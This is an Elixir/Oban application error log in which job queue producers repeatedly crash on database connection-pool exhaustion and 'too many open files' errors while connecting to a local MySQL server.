State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:42:52.239662Z], limit: 5, uuid: "780f4139-908e-4689-8e85-ecc22694525f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:52.239667Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50027>, refresh_timer: #Reference<0.2525715032.1099431938.67015>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:42:52.239316Z], limit: 20, uuid: "810d52be-5eb4-4015-9d17-571d520a81c4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:52.239322Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50023>, refresh_timer: #Reference<0.2525715032.1121189889.216566>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:42:52.239595Z], limit: 50, uuid: "e8a3d3d9-5380-448f-9c4e-3280a4ee6a2d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:52.239601Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50028>, refresh_timer: #Reference<0.2525715032.1099431938.67012>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:04.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:42:52.239602Z], limit: 3, uuid: "d2760fcf-c869-462c-9eb2-f3b4b8b9b2a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:52.239607Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50026>, refresh_timer: #Reference<0.2525715032.1121189889.216587>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:08.772000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:09.313000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:10.700000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:12.454000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:13.085000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:43:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:43:04.239083Z], limit: 5, uuid: "bb145541-c000-4b7d-aabb-33434630c044", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:04.239090Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50391>, refresh_timer: #Reference<0.2525715032.1077673987.50363>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:43:04.243728Z], limit: 3, uuid: "6f668b50-eba7-43e0-ba37-6ddb62482905", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:04.243733Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50394>, refresh_timer: #Reference<0.2525715032.1099431938.67085>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:43:04.239353Z], limit: 10, uuid: "4b6755dd-bc3f-4df9-9cb5-f4f07234a43c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:04.239358Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50392>, refresh_timer: #Reference<0.2525715032.1068498948.73780>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:43:04.239517Z], limit: 20, uuid: "c3a9daef-ff3f-4182-832f-50e15c1db890", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:04.239522Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50390>, refresh_timer: #Reference<0.2525715032.1077673987.50382>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:43:04.239621Z], limit: 50, uuid: "caf1c64d-44b7-4037-9183-cba991bcfdce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:43:04.239626Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.50393>, refresh_timer: #Reference<0.2525715032.1099431938.67064>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:43:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
